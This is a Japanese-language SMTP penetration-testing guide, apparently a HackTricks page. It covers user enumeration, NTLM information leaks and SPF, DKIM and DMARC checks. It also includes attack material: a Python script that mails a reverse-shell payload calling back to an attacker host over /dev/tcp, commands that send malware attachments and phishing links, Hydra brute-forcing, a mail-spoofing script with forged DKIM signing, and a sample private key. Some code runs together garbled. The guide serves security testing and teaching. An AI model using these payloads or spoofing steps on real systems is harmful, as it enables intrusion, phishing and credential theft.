25,465,587 - Pentesting SMTP/s
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実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、重要な証拠を収集するために自動化されたエクスプロイトを使用するために、20以上のカスタムツールを使用してください。あなたの努力を説得力のある報告書に変えます。
シンプルメール転送プロトコル（SMTP）は、電子メールの送受信に使用されるTCP/IPスイート内のプロトコルです。受信者側でメッセージをキューイングする際の制限のため、SMTPはしばしばPOP3またはIMAPと一緒に使用されます。これらの追加プロトコルは、ユーザーがサーバーメールボックスにメッセージを保存し、定期的にダウンロードできるようにします。
実際には、電子メールプログラムが電子メールの送信にSMTPを使用し、受信にはPOP3またはIMAPを利用することが一般的です。Unixベースのシステムでは、sendmailが電子メール目的で最も頻繁に使用されるSMTPサーバーとして際立っています。商業パッケージであるSendmailにはPOP3サーバーが含まれています。さらに、Microsoft ExchangeはSMTPサーバーを提供し、POP3サポートを含めるオプションを提供します。
デフォルトポート: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959もし被害者にメールを送信させる機会がある（例えば、ウェブページのコンタクトフォームを通じて）、それを行ってください。なぜなら、メールのヘッダーを見ることで被害者の内部トポロジーについて学ぶことができるからです。
また、存在しないアドレスにメールを送信しようとすることでSMTPサーバーからメールを取得することもできます（サーバーは攻撃者にNDNメールを送信します）。ただし、許可されたアドレスからメールを送信し（SPFポリシーを確認）、NDNメッセージを受信できることを確認してください。
異なる内容を送信することも試みるべきです。なぜなら、ヘッダーにより興味深い情報を見つけることができるからです。 例えば: X-Virus-Scanned: by av.domain.com
EICARテストファイルを送信してください。
AVを検出することで、既知の脆弱性を悪用することができるかもしれません。
SMTP:
nc -vn <IP> 25SMTPS:
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587dig +short mx google.comnmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -vサーバーがNTLM認証（Windows）をサポートしている場合、機密情報（バージョン）を取得できます。詳細はこちらを参照してください。
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAAOr automate this with nmap plugin smtp-ntlm-info.nse
Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OKポート25のパケットからパスワードをスニッフィングできるか確認してください。
認証は常に必要ではありません
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhostMetasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る
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配信状況通知レポート: 組織に無効なアドレスにメールを送信すると、組織はそのアドレスが無効であることを通知し、あなたにメールを返送します。返送されたメールのヘッダーには、可能な機密情報（レポートとやり取りしたメールサービスのIPアドレスやアンチウイルスソフトウェアの情報など）が含まれます。
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
<phishing message>swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys
lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587
msg = MIMEMultipart()
password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"
message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
print("[*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250: print("[-]Connection Error") exit()
server.starttls()
server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()
print("[***]successfully sent email to %s:" % (msg['To']))
</details>
## SMTPスムーギング
SMTPスムーギングの脆弱性により、すべてのSMTP保護をバイパスすることが可能でした（保護に関する詳細は次のセクションを参照してください）。SMTPスムーギングの詳細については、以下を確認してください：
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
[smtp-smuggling.md](smtp-smuggling.md)
</div>
## メールスプーフィング対策
組織は、SMTPメッセージのスプーフィングの容易さから、**SPF**、**DKIM**、および**DMARC**を採用することで、無許可のメールが自分たちの名義で送信されるのを防いでいます。
**これらの対策に関する完全なガイド**は、[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)で入手できます。
### SPF
<div data-gb-custom-block data-tag="hint" data-style='danger'>
SPF [は2014年に「非推奨」となりました](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。これは、`_spf.domain.com`に**TXTレコード**を作成する代わりに、**同じ構文**を使用して`domain.com`に作成することを意味します。\
さらに、以前のspfレコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"`のようなものを見つけることは非常に一般的です。
</div>
**送信者ポリシーフレームワーク**（SPF）は、メール転送エージェント（MTA）が、メールを送信しているホストが組織によって定義された承認されたメールサーバーのリストを照会することで、そのホストがメールを送信する権限があるかどうかを確認できるメカニズムです。このリストには、**ドメイン名を代表してメールを送信することが許可された**さまざまな「**メカニズム**」が含まれています。
#### メカニズム
[ウィキペディア](https://en.wikipedia.org/wiki/Sender_Policy_Framework)から：
| メカニズム | 説明 |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | 常に一致します。以前のメカニズムで一致しなかったすべてのIPに対して、`-all`のようなデフォルトの結果に使用されます。 |
| A | ドメイン名に送信者のアドレスに解決できるアドレスレコード（AまたはAAAA）がある場合、一致します。 |
| IP4 | 送信者が指定されたIPv4アドレス範囲にある場合、一致します。 |
| IP6 | 送信者が指定されたIPv6アドレス範囲にある場合、一致します。 |
| MX | ドメイン名に送信者のアドレスに解決するMXレコードがある場合、一致します（つまり、メールはドメインの受信メールサーバーの1つから来ます）。 |
| PTR | クライアントのアドレスのドメイン名（PTRレコード）が指定されたドメインにあり、そのドメイン名がクライアントのアドレスに解決する場合（前方確認された逆DNS）、一致します。このメカニズムは推奨されず、可能な限り避けるべきです。 |
| EXISTS | 指定されたドメイン名が任意のアドレスに解決する場合、一致します（解決されるアドレスに関係なく）。これはほとんど使用されません。SPFマクロ言語と組み合わせることで、DNSBLクエリのようなより複雑な一致を提供します。 |
| INCLUDE | 別のドメインのポリシーを参照します。そのドメインのポリシーが通過すれば、このメカニズムも通過します。ただし、含まれたポリシーが失敗した場合、処理は続行されます。他のドメインのポリシーに完全に委任するには、リダイレクト拡張を使用する必要があります。 |
| REDIRECT | <p>リダイレクトは、SPFポリシーをホストする別のドメイン名へのポインタであり、複数のドメインが同じSPFポリシーを共有できるようにします。これは、同じメールインフラストラクチャを共有する多数のドメインで作業する際に便利です。</p><p>リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。</p> |
**クオリファイア**を特定することも可能で、**メカニズムが一致した場合に何をすべきかを示します**。デフォルトでは、**クオリファイア「+」**が使用されます（したがって、いずれかのメカニズムが一致する場合、それは許可されていることを意味します）。\
通常、各SPFポリシーの**最後に**、**\~all**または**-all**のようなものが表示されます。これは、**送信者がどのSPFポリシーにも一致しない場合、メールを信頼できない（\~）または拒否（-）としてタグ付けするべきであることを示します。**
#### クオリファイア
ポリシー内の各メカニズムは、意図された結果を定義するために4つのクオリファイアのいずれかで接頭辞を付けることができます：
* **`+`**: PASS結果に対応します。デフォルトでは、メカニズムはこのクオリファイアを仮定し、`+mx`は`mx`と同等です。
* **`?`**: NEUTRAL結果を表し、NONE（特定のポリシーなし）と同様に扱われます。
* **`~`**: SOFTFAILを示し、NEUTRALとFAILの中間の立場を取ります。この結果を満たすメールは通常受け入れられますが、適切にマークされます。
* **`-`**: FAILを示し、メールは完全に拒否されるべきであることを示唆します。
次の例では、**google.comのSPFポリシー**が示されています。最初のSPFポリシー内に異なるドメインからのSPFポリシーが含まれていることに注意してください：
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"従来、正しい/任意のSPFレコードを持たない任意のドメイン名を偽装することが可能でした。現在、メールが有効なSPFレコードを持たないドメインから送信される場合、おそらく自動的に拒否される/信頼されていないとマークされるでしょう。
ドメインのSPFを確認するには、次のようなオンラインツールを使用できます: https://www.kitterman.com/spf/validate.html
DKIMは、外部のメール転送エージェント（MTA）による検証を可能にするために、送信メールに署名するために利用されます。これにより、ドメインの公開鍵をDNSから取得できます。この公開鍵は、ドメインのTXTレコードにあります。この鍵にアクセスするには、セレクタとドメイン名の両方を知っている必要があります。
例えば、鍵を要求するには、ドメイン名とセレクタが必要です。これらはメールヘッダーのDKIM-Signatureに見つけることができます。例: d=gmail.com;s=20120113。
この情報を取得するためのコマンドは次のようになります:
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3DMARCは、SPFおよびDKIMプロトコルを基にしてメールセキュリティを強化します。特定のドメインからのメールの取り扱いに関するポリシーを概説し、認証失敗への対処方法やメール処理アクションに関する報告をどこに送信するかを含みます。
DMARCレコードを取得するには、サブドメイン_dmarcをクエリする必要があります
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"DMARCタグ
こちらから 参照. メールを送信する各サブドメインには、別々のSPFレコードを持つ必要があります。 以下は、元々openspf.orgに投稿されたもので、この種の情報にとって素晴らしいリソースでした。
デーモンの質問: サブドメインについては？
pielovers.demon.co.ukからメールを受け取った場合、pieloversのSPFデータがない場合、1つ上のレベルに戻ってdemon.co.ukのSPFをテストすべきですか？ いいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っている可能性があります。Demonのポリシーがデフォルトで全顧客に適用されるのは理にかなりません。Demonがそれを望む場合、各サブドメインのためにSPFレコードを設定できます。
したがって、SPF発行者へのアドバイスは次のとおりです: AまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加する必要があります。
ワイルドカードAまたはMXレコードを持つサイトは、次の形式のワイルドカードSPFレコードも持つべきです: * IN TXT "v=spf1 -all"
これは理にかなっています - サブドメインは異なる地理的位置にあり、非常に異なるSPF定義を持つ可能性があります。
メールが送信される際、スパムとしてフラグが立てられないようにすることが重要です。これは、受信者によって信頼されるリレーサーバーを使用することで達成されることが多いです。しかし、一般的な課題は、管理者がどのIP範囲が許可されるべきかを完全に理解していないことです。この理解の欠如は、SMTPサーバーの設定におけるミスを引き起こし、セキュリティ評価で頻繁に特定されるリスクとなります。
特に潜在的または進行中のクライアントとの通信に関するメール配信の問題を回避するために、一部の管理者が使用する回避策は、任意のIPアドレスからの接続を許可することです。これは、SMTPサーバーのmynetworksパラメータをすべてのIPアドレスを受け入れるように設定することで行われます。
mynetworks = 0.0.0.0/0メールサーバーがオープンリレーであるかどうかを確認するために（これは外部ソースからのメールを転送できることを意味します）、nmapツールが一般的に使用されます。これをテストするために設計された特定のスクリプトが含まれています。サーバー（例えば、IP 10.10.10.10）でポート25を使用してnmapで詳細スキャンを実行するためのコマンドは次のとおりです：
nmap -p25 --script smtp-open-relay 10.10.10.10 -vhttps://github.com/serain/mailspoof SPFおよびDMARCの誤設定をチェック
https://pypi.org/project/checkdmarc/ SPFおよびDMARCの設定を自動的に取得
または、ツールを使用することもできます:
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.comもしdkim python libを使用してキーを解析する際にエラーが発生した場合は、以下のものを自由に使用してください。 注意: これは、何らかの理由でopensslプライベートキーがdkimによって解析できない場合に迅速なチェックを行うための簡易的な修正です。
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----または手動で行うこともできます：
# これは署名されていないメッセージを送信しますmail("your_email@gmail.com", "テスト件名！", "こんにちは！これはテストです", "From: administrator@victim.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)
これらの保護に関する詳細情報は https://seanthegeek.net/459/demystifying-dmarc/ で見つけてください。
ドメインの年齢
IPアドレスを指すリンク
リンク操作技術
疑わしい（一般的でない）添付ファイル
壊れたメールコンテンツ
メールヘッダーの値と異なる値の使用
有効で信頼できるSSL証明書の存在
ウェブコンテンツフィルタリングサイトへのページの提出
データをSMTP経由で送信できる場合は これを読んでください。
通常、インストールされている場合、/etc/postfix/master.cfには、例えば新しいメールがユーザーによって受信されたときに実行されるスクリプトが含まれています。例えば、flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}という行は、ユーザーmarkが新しいメールを受信した場合に/etc/postfix/filteringが実行されることを意味します。
Other config files:
sendmail.cf
submit.cfProtocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
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